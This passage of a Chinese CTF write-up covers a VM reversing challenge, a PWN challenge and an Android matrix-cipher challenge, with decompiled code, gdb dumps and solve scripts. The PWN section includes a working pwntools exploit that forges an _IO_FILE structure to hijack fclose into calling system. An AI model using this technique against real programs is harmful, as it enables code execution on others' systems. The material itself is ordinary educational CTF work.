0x07, 0x02, 0x08, // lea_int r2, r8
0x09, 0x0A, 0x02, // ldr_int rA, r2
0x01, 0x00, 0x0A, // mov, r0, rA
0x18, 0x00, 0xE0, // and r0, 0xE0
0x1E, 0x00, 0x05, // shr r0, 0x05
0x1D, 0x05, 0x0A, // pop r5, rA
0x0D, 0x0A, 0x00, // add rA, r0
0x1B, 0x05, 0x0A, // push r5, rA
0x0C, 0x03, 0x01, // add r3, 0x01
0x24, 0x03, 0x1F, // cmpl r3, 0x1F
0x28, // jl loop
while(1) // loop 0x1F times
{
rA = r2;
r0 = rA;
r0 &= 0x1F;
r0 <<= 0x03;
r0 &= 0xFF;
r5 = r0 + 1;
r8 = r5;
r8 += 0xE0;
r2 = r8;
rA = r2;
r0 = rA;
r0 &= 0xE0;
r0 >>= 0x05;
r0 &= 0xFF;
rA = r5 - 1;
rA += r0;
r5 = rA + 1;
r3 += 1;
if(r3 >= 0x1F)
break;
}
0x09, 0x0A, 0x02, // ldr_int rA, r2
0x01, 0x00, 0x0A, // mov r0, rA
0x18, 0x00, 0x1F, // and r0, 0x1F
0x20, 0x00, 0x03, // shl r0, 0x03
0x0D, 0x00, 0x04, // add r0, r4
0x1B, 0x05, 0x00, // push r5, r0
0x13, 0x03, 0x03, // xor r3, r3
0x03, 0x04, 0x0D, // mov, r4, rD // 0xEFBEADDE
0x28, // enter the loop
rA = r2;
r0 = rA;
r0 &= 0x1F;
r0 <<= 0x03;
r0 &= 0xFF;
r0 += r4;
r5 = r0 + 1;
r3 = 0;
r4 = rD;
loop:
0x07, 0x08, 0x05, // lea_int r8, r5
0x0E, 0x08, 0xE0, // add r8, 0xE0
0x07, 0x02, 0x08, // lea_int r2, r8
0x09, 0x0A, 0x02, // ldr_int rA, r2
0x01, 0x00, 0x0A, // mov, r0, rA
0x1B, 0x05, 0x00, // push r5, r0
0x01, 0x00, 0x04, // mov r0, r4
0x0D, 0x00, 0x03, // and r0, r3
0x1D, 0x05, 0x0A, // pop r5, rA
0x13, 0x0A, 0x00, // xor rA, r0
0x1B, 0x05, 0x0A, // push r5, rA
0x22, 0x04, 0x08, // ror r4, 0x08
0x0C, 0x03, 0x01, // add r3, 0x01
0x24, 0x03, 0x20, // cmpl r3, 0x20
0x28, // jl loop
while(1) // loop 0x20 times
{
r8 = r5;
r8 += 0xE0;
r2 = r8;
rA = r2;
r0 = rA;
r5 = r0 + 1;
r0 = r4;
r0 += r3;
rA = r5 - 1;
rA ^= r0;
r5 = rA + 1;
r4 = (1 << 8 - 1) & (r4 << 24) + ((1 << 24 - 1) & (r4 >> 8));
r3 += 1;
if(r3 >= 0x20)
break;
}
0x13, 0x03, 0x03, // xor r3, r3
0x13, 0x04, 0x04, // xor r4, r4
0x05, 0x01, 0x0C, // mov r1, rC // enc
0x28, // enter the loop
r3 = r4 = 0;
r1 = rC;
loop:
0x05, 0x09, 0x01, // mov r9, r1
0x11, 0x09, 0x03, // add_pch r9, r3
0x0B, 0x0A, 0x09, // ldr_ch rA, r9
0x01, 0x00, 0x0A, // mov r0, rA
0x1B, 0x05, 0x00, // push r5, r0
0x07, 0x08, 0x05, // lea_int r8, r5
0x0E, 0x08, 0xDF, // add r8, 0xDF
0x09, 0x0A, 0x08, // ldr_int rA, r8
0x1D, 0x05, 0x00, // pop r5, r0
0x1B, 0x05, 0x00, // push r5, r0
0x27, 0x00, 0x0A, // cmpeq r0, rA
0x17, 0x04, 0x07, // mov r4, r4 | r7
0x0C, 0x03, 0x01, // add r3, 0x01
0x24, 0x03, 0x20, // cmpl r3, 0x20
0x28 // jl loop
while(1) // loop 0x20 times
{
r9 = r1;
r9 += r3;
rA = r9;
r0 = rA;
r5 = r0 + 1;
r8 = r5;
r8 += 0xDF;
rA = r8;
r0 = r5 - 1;
r5 = r0 + 1;
r0 != rA
r4 |= r7;
r3 += 1;
if(r3 >= 0x20)
break;
}
其实还是挺清楚的,可以逆出来。脚本如下:
# reverse step3
enc1 = [0x75, 0x85, 0xD1, 0x39, 0x0B, 0x29, 0xCD, 0x77, 0x6D, 0x9F, 0x73, 0x23, 0x61, 0x8B, 0x4D, 0x45, 0x9D, 0x8F, 0x5B, 0x11, 0xC1, 0xC9, 0xE5, 0xCF, 0x45, 0xE5, 0xB1, 0xB3, 0x41, 0xD9, 0xCF, 0xCF]
key = [0xDE, 0xAD, 0xBE, 0xEF]
enc2 = [enc1[i] ^ ((key[i % 4] + i) & 0xFF) for i in range(32)]
# reverse step2
enc3 = [0 for i in range(32)]
def f(a, b):
return ((a << 5) & 0xE0 | (b >> 3) & 0x1F)
for i in range(1, 32):
enc3[i] = f(enc2[i - 1], enc2[i])
enc3[0] = f(enc2[31], enc2[0])
# reverse step1
enc4 = [0 for i in range(32)]
j = 0
for i in range(32):
j += 0x33
enc4[j % 0x20] = enc3[i]
flag = ''
for ch in enc4:
flag += chr(ch)
print flag
PWN
Challenge1
利用了 _IO_FILE
的相关漏洞,和之前一道练习题很类似:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int c; // [rsp+Ch] [rbp-4h]
stream = fopen("test.txt", "r");
init_func();
while ( 1 )
{
while ( 1 )
{
putchar('>');
c = readline();
if ( c != 1 )
break;
get_s();
}
if ( c != 2 )
break;
put_s();
}
if ( c == 3 )
close_stream();
return 0LL;
}
输入的 s 可以覆盖掉 stream 指针,偏移是 0x100。
.bss:00000000006010C0 s db 100h dup(?) ; DATA XREF: get_s+4↑o
.bss:00000000006010C0 ; put_s+4↑o
.bss:00000000006011C0 ; FILE *stream
.bss:00000000006011C0 stream dq ? ; DATA XREF: close_stream+4↑r
关于 _IO_FILE
一些 symbol 在 gdb 里可以看:
assassinq>> p sizeof(FILE)
$1 = 0xd8
assassinq>> p sizeof(struct _IO_FILE_plus)
$2 = 0xe0
assassinq>> p *(struct _IO_FILE_plus *)stdin
$3 = {
file = {
_flags = 0xfbad208b,
_IO_read_ptr = 0x7ffff7dcfa84 <_IO_2_1_stdin_+132> "",
_IO_read_end = 0x7ffff7dcfa84 <_IO_2_1_stdin_+132> "",
_IO_read_base = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
_IO_write_base = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
_IO_write_ptr = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
_IO_write_end = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
_IO_buf_base = 0x7ffff7dcfa83 <_IO_2_1_stdin_+131> "\n",
_IO_buf_end = 0x7ffff7dcfa84 <_IO_2_1_stdin_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "\n",
_lock = 0x7ffff7dd18d0 <_IO_stdfile_0_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7ffff7dcfae0 <_IO_wide_data_0>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7ffff7dcc2a0 <_IO_file_jumps>
}
assassinq>> p *((struct _IO_FILE_plus *)stdin).vtable
$4 = {
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x7ffff7a70330 <_IO_new_file_finish>,
__overflow = 0x7ffff7a71300 <_IO_new_file_overflow>,
__underflow = 0x7ffff7a71020 <_IO_new_file_underflow>,
__uflow = 0x7ffff7a723c0 <__GI__IO_default_uflow>,
__pbackfail = 0x7ffff7a73c50 <__GI__IO_default_pbackfail>,
__xsputn = 0x7ffff7a6f930 <_IO_new_file_xsputn>,
__xsgetn = 0x7ffff7a6f590 <__GI__IO_file_xsgetn>,
__seekoff = 0x7ffff7a6eb90 <_IO_new_file_seekoff>,
__seekpos = 0x7ffff7a72990 <_IO_default_seekpos>,
__setbuf = 0x7ffff7a6e850 <_IO_new_file_setbuf>,
__sync = 0x7ffff7a6e6d0 <_IO_new_file_sync>,
__doallocate = 0x7ffff7a62100 <__GI__IO_file_doallocate>,
__read = 0x7ffff7a6f910 <__GI__IO_file_read>,
__write = 0x7ffff7a6f190 <_IO_new_file_write>,
__seek = 0x7ffff7a6e910 <__GI__IO_file_seek>,
__close = 0x7ffff7a6e840 <__GI__IO_file_close>,
__stat = 0x7ffff7a6f180 <__GI__IO_file_stat>,
__showmanyc = 0x7ffff7a73dd0 <_IO_default_showmanyc>,
__imbue = 0x7ffff7a73de0 <_IO_default_imbue>
}
想法是把 stream 覆盖成 bss 上构造的部分,fclose 就会触发 system,Exploit:
#!/usr/bin/env python
from pwn import *
binary = './task_challenge1'
elf = ELF(binary)
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
local = 1
if local:
p = process(binary)
else:
p = remote('202.112.51.184', 30003)
ub_offset = 0x3c4b30
p.sendlineafter('>', '1')
gdb.attach(p)
buf_addr = 0x6010C0
system = 0x400897
payload = (
((('\0' * 0x10 + p64(system) + '\0' * 70).ljust(0x88,'\0') + p64(buf_addr)).ljust(0xd8, '\0') + p64(buf_addr)).ljust(0x100, '\0') +
p64(buf_addr)
)
p.sendline(payload)
p.sendlineafter('>', '3')
p.interactive()
MOBILE
SWAG
拖进 jadx,直接看 Mainactivity 中的函数,可以知道对输入数据进行了长度的判断和内容的正则判断。然后还存在 native 层,需要对 so 文件分析。
在 ida 里能看出经过两次加密过程,仔细发现其实是矩阵的一些操作,先对矩阵转置:
char **__fastcall matrix_transpos(char **matrix)
{
char *v1; // x8
char *v2; // x11
char *v3; // x8
char *v4; // x8
char *v5; // x8
char *v6; // x8
char *v7; // x8
char *v8; // x9
char *v9; // x8
char *v10; // x9
char *v11; // x8
char *v12; // x9
char *v13; // x8
char *v14; // x9
char *v15; // x8
char *v16; // x9
char *v17; // x8
char *v18; // x9
char *v19; // x8
char *v20; // x9
char *v21; // x8
char *v22; // x9
char *v23; // x8
char *v24; // x9
char *v25; // x8
char *v26; // x9
v1 = matrix[1];
LODWORD(v2) = *((_DWORD *)*matrix + 1);
*((_DWORD *)*matrix + 1) = *(_DWORD *)v1;
*(_DWORD *)v1 = (_DWORD)v2;
v3 = matrix[2];
LODWORD(v2) = *((_DWORD *)*matrix + 2);
*((_DWORD *)*matrix + 2) = *(_DWORD *)v3;
*(_DWORD *)v3 = (_DWORD)v2;
v4 = matrix[3];
LODWORD(v2) = *((_DWORD *)*matrix + 3);
*((_DWORD *)*matrix + 3) = *(_DWORD *)v4;
*(_DWORD *)v4 = (_DWORD)v2;
v5 = matrix[4];
LODWORD(v2) = *((_DWORD *)*matrix + 4);
*((_DWORD *)*matrix + 4) = *(_DWORD *)v5;
*(_DWORD *)v5 = (_DWORD)v2;
v6 = matrix[5];
LODWORD(v2) = *((_DWORD *)*matrix + 5);
*((_DWORD *)*matrix + 5) = *(_DWORD *)v6;
*(_DWORD *)v6 = (_DWORD)v2;
v8 = matrix[1];
v7 = matrix[2];
LODWORD(v2) = *((_DWORD *)v8 + 2);
*((_DWORD *)v8 + 2) = *((_DWORD *)v7 + 1);
*((_DWORD *)v7 + 1) = (_DWORD)v2;
v9 = matrix[3];
v10 = matrix[1];
LODWORD(v2) = *((_DWORD *)v10 + 3);
*((_DWORD *)v10 + 3) = *((_DWORD *)v9 + 1);
*((_DWORD *)v9 + 1) = (_DWORD)v2;
v11 = matrix[4];
v12 = matrix[1];
LODWORD(v2) = *((_DWORD *)v12 + 4);
*((_DWORD *)v12 + 4) = *((_DWORD *)v11 + 1);
*((_DWORD *)v11 + 1) = (_DWORD)v2;
v13 = matrix[5];
v14 = matrix[1];
LODWORD(v2) = *((_DWORD *)v14 + 5);
*((_DWORD *)v14 + 5) = *((_DWORD *)v13 + 1);
*((_DWORD *)v13 + 1) = (_DWORD)v2;
v16 = matrix[2];
v15 = matrix[3];
LODWORD(v2) = *((_DWORD *)v16 + 3);
*((_DWORD *)v16 + 3) = *((_DWORD *)v15 + 2);
*((_DWORD *)v15 + 2) = (_DWORD)v2;
v17 = matrix[4];
v18 = matrix[2];
LODWORD(v2) = *((_DWORD *)v18 + 4);
*((_DWORD *)v18 + 4) = *((_DWORD *)v17 + 2);
*((_DWORD *)v17 + 2) = (_DWORD)v2;
v19 = matrix[5];
v20 = matrix[2];
LODWORD(v2) = *((_DWORD *)v20 + 5);
*((_DWORD *)v20 + 5) = *((_DWORD *)v19 + 2);
*((_DWORD *)v19 + 2) = (_DWORD)v2;
v22 = matrix[3];
v21 = matrix[4];
LODWORD(v2) = *((_DWORD *)v22 + 4);
*((_DWORD *)v22 + 4) = *((_DWORD *)v21 + 3);
*((_DWORD *)v21 + 3) = (_DWORD)v2;
v23 = matrix[5];
v24 = matrix[3];
LODWORD(v2) = *((_DWORD *)v24 + 5);
*((_DWORD *)v24 + 5) = *((_DWORD *)v23 + 3);
*((_DWORD *)v23 + 3) = (_DWORD)v2;
v26 = matrix[4];
v25 = matrix[5];
LODWORD(v2) = *((_DWORD *)v26 + 5);
*((_DWORD *)v26 + 5) = *((_DWORD *)v25 + 4);
*((_DWORD *)v25 + 4) = (_DWORD)v2;
return matrix;
}
再将两个矩阵相乘:
char *__fastcall matrix_inverse(char *matrix, char *data)
{
char *v2; // x19
char *v3; // x22
char *v4; // x20
char *v5; // x21
char *v6; // x0
__int64 i; // x8
char *v8; // x9
char *v9; // x10
__int64 j; // x11
v2 = matrix;
v3 = data;
v4 = (char *)malloc(48LL);
v5 = (char *)malloc(24LL);
*(_QWORD *)v4 = v5;
*((_QWORD *)v4 + 1) = malloc(24LL);
*((_QWORD *)v4 + 2) = malloc(24LL);
*((_QWORD *)v4 + 3) = malloc(24LL);
*((_QWORD *)v4 + 4) = malloc(24LL);
v6 = (char *)malloc(24LL);
i = 0LL;
*((_QWORD *)v4 + 5) = v6;
while ( 1 )
{
v9 = *(char **)&v2[8 * i];
j = 0LL;
do
{
v8 = v3 + 72;
*(_DWORD *)&v5[j] = *(_DWORD *)&v8[j - 72] * *(_DWORD *)v9
+ *(_DWORD *)&v8[j - 48] * *((_DWORD *)v9 + 1)
+ *(_DWORD *)&v8[j - 24] * *((_DWORD *)v9 + 2)
+ *(_DWORD *)&v8[j] * *((_DWORD *)v9 + 3)
+ *(_DWORD *)&v8[j + 24] * *((_DWORD *)v9 + 4)
+ *(_DWORD *)&v8[j + 48] * *((_DWORD *)v9 + 5);
j += 4LL;
}
while ( j != 24 );
if ( ++i == 6 )
break;
v5 = *(char **)&v4[8 * i];
}
return v4;
}
那么这个过程用 numpy 就能解出来,解题脚本:
from numpy import *
enc = [
0x0004E36B, 0x000362D6, 0x0003D5F1, 0x00063C4C, 0x00066AF7, 0x000418B7,
0x0004BE2E, 0x00035571, 0x0003DA7F, 0x00060D4A, 0x0006423A, 0x0003FC18,
0x0003A3B6, 0x0002FBEE, 0x00038F5B, 0x000509E4, 0x00057DAE, 0x00037D25,
0x0002E69A, 0x00028B2A, 0x000363B1, 0x00041DAE, 0x00049FA8, 0x0002D536,
0x0003B440, 0x00028D5B, 0x0003AF48, 0x00051F80, 0x00059294, 0x00030E5F,
0x00047CF0, 0x00034F47, 0x00033520, 0x000547A8, 0x000581E0, 0x0003E875
]
data = [
0x00000106, 0x00000245, 0x0000009C, 0x000001E2, 0x00000224, 0x0000027A,
0x00000112, 0x000000AE, 0x00000323, 0x000003C4, 0x00000370, 0x000000DC,
0x00000387, 0x0000001E, 0x000000B6, 0x000003D8, 0x0000035D, 0x0000013A,
0x000002B9, 0x00000162, 0x00000083, 0x00000225, 0x00000057, 0x0000018C,
0x00000109, 0x0000021B, 0x00000319, 0x000000EE, 0x000002C1, 0x000001D5,
0x0000023A, 0x0000019A, 0x00000145, 0x0000025E, 0x0000032A, 0x000001D6
]
trans_data = mat(data).reshape(6, 6)
trans_enc = mat(enc).reshape(6, 6)
trans = trans_enc * trans_data.I
res = trans.T.reshape(1, 36).tolist()[0]
flag = ''
for ch in res:
flag += chr(int(round(ch)))
print(flag)
因为还没学过线代,还没看懂的时候,硬生生现学现用 z3 把矩阵求逆的过程解出来了,所以顺便贴一波现学的 z3 脚本:
from z3 import *
enc = [0x0004E36B, 0x000362D6, 0x0003D5F1, 0x00063C4C, 0x00066AF7, 0x000418B7, 0x0004BE2E, 0x00035571, 0x0003DA7F, 0x00060D4A, 0x0006423A, 0x0003FC18, 0x0003A3B6, 0x0002FBEE, 0x00038F5B, 0x000509E4, 0x00057DAE, 0x00037D25, 0x0002E69A, 0x00028B2A, 0x000363B1, 0x00041DAE, 0x00049FA8, 0x0002D536, 0x0003B440, 0x00028D5B, 0x0003AF48, 0x00051F80, 0x00059294, 0x00030E5F, 0x00047CF0, 0x00034F47, 0x00033520, 0x000547A8, 0x000581E0, 0x0003E875]
data = [0x00000106, 0x00000245, 0x0000009C, 0x000001E2, 0x00000224, 0x0000027A, 0x00000112, 0x000000AE, 0x00000323, 0x000003C4, 0x00000370, 0x000000DC, 0x00000387, 0x0000001E, 0x000000B6, 0x000003D8, 0x0000035D, 0x0000013A, 0x000002B9, 0x00000162, 0x00000083, 0x00000225, 0x00000057, 0x0000018C, 0x00000109, 0x0000021B, 0x00000319, 0x000000EE, 0x000002C1, 0x000001D5, 0x0000023A, 0x0000019A, 0x00000145, 0x0000025E, 0x0000032A, 0x000001D6]
i = 0
res = ''
while(1):
s = Solver()
n0 = Int('n0')
n1 = Int('n1')
n2 = Int('n2')
n3 = Int('n3')
n4 = Int('n4')
n5 = Int('n5')
s.add(enc[i * 6 + 0] == n0 * data[0] + n1 * data[6] + n2 * data[12] + n3 * data[18] + n4 * data[24] + n5 * data[30])
s.add(enc[i * 6 + 1] == n0 * data[1] + n1 * data[7] + n2 * data[13] + n3 * data[19] + n4 * data[25] + n5 * data[31])
s.add(enc[i * 6 + 2] == n0 * data[2] + n1 * data[8] + n2 * data[14] + n3 * data[20] + n4 * data[26] + n5 * data[32])
s.add(enc[i * 6 + 3] == n0 * data[3] + n1 * data[9] + n2 * data[15] + n3 * data[21] + n4 * data[27] + n5 * data[33])
s.add(enc[i * 6 + 4] == n0 * data[4] + n1 * data[10] + n2 * data[16] + n3 * data[22] + n4 * data[28] + n5 * data[34])
s.add(enc[i * 6 + 5] == n0 * data[5] + n1 * data[11] + n2 * data[17] + n3 * data[23] + n4 * data[29] + n5 * data[35])
s.check()
print s.model()
if i == 5:
break
i += 1
参考网站
http://yugod.xmutsec.com/index.php/2018/08/10/42.html
https://www.jianshu.com/p/028c0c6270c3
https://github.com/krx/CTF-Writeups/tree/master/CSAW%2016%20Quals/for150%20-%20Yaar%20Haar%20Fiddle%20Dee%20Dee
https://www.xctf.org.cn/library/details/9ab7dca891b9e53206b9aec7ab13ac9a95fbf66d/?from=groupmessage&isappinstalled=0
https://www.jianshu.com/p/110f715c210f